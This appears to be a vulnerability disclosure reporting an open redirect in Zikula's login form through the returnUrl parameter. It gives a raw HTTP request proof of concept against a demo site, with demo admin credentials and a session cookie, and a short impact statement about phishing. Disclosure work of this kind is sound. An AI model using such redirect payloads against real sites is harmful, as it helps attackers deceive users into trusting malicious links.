Description

Open Redirect on Login with parameter ?returnUrl=

Proof of Concept

POST /login?returnUrl=https://google.com HTTP/2
Host: demo.ziku.la
Cookie: _zsid=b6g4qa64983t2tg073uh1e1rjm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 261
Origin: https://demo.ziku.la
Referer: https://demo.ziku.la/login?returnUrl=https://google.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

zikulazauthmodule_authentication_uname%5Buname%5D=admin&zikulazauthmodule_authentication_uname%5Bpass%5D=demoadmin&zikulazauthmodule_authentication_uname%5Bsubmit%5D=&zikulazauthmodule_authentication_uname%5B_token%5D=rH3sM04ihG5ZqzDTFRaYh2-2QnSfFt3vjp__KTxOeOk

Video PoC : PoC

Impact

This functionality is not restricted to relative URLs within the application and could be leveraged by an attacker to fool an end user into believing that a malicious URL they were redirected to is valid.